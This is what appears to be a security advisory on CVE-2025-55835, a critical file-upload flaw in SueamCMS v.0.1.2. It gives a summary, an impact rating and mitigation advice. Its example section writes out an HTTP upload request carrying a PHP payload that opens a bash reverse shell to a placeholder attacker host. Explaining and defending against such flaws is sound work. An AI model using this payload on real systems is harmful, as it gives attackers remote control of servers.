CVE-2025-55835: Critical File Upload Vulnerability in SueamCMS v.0.1.2

Overview

The cybersecurity landscape is constantly evolving, with new vulnerabilities being identified and patched regularly. One such recent discovery is CVE-2025-55835, a highly severe File Upload vulnerability found in SueamCMS v.0.1.2. This vulnerability has significant implications for its users, as it allows a remote attacker to execute arbitrary code due to a lack of filtering. This could potentially lead to system compromise and data leakage, posing a significant threat to the integrity and confidentiality of data.

Vulnerability Summary

CVE ID: CVE-2025-55835
Severity: Critical, CVSS 9.8
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System Compromise, Potential Data Leakage

Affected Products

Product | Affected Versions

SueamCMS | v.0.1.2

How the Exploit Works

The vulnerability arises from a lack of sufficient filtering mechanisms in the file upload feature on the SueamCMS v.0.1.2 platform. This lack of filtering allows an attacker to upload a malicious file containing an executable code. Once uploaded, the attacker can remotely trigger this code, allowing them to take control of the system or exfiltrate sensitive data.

Conceptual Example Code

Here’s a conceptual example of how an attacker could exploit this vulnerability:

POST /file_upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_script.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/8080 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW

In this example, the attacker uploads a malicious PHP script that, when executed, opens a reverse shell to the attacker’s machine, allowing them to execute commands remotely.

Mitigation Guidance

The best practice to mitigate this vulnerability is to apply the vendor-provided patch as soon as it becomes available. In the meantime, use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. Furthermore, it is strongly advised to restrict file upload functionality to trusted users only and to implement adequate file type and content filtering to prevent the upload of malicious files.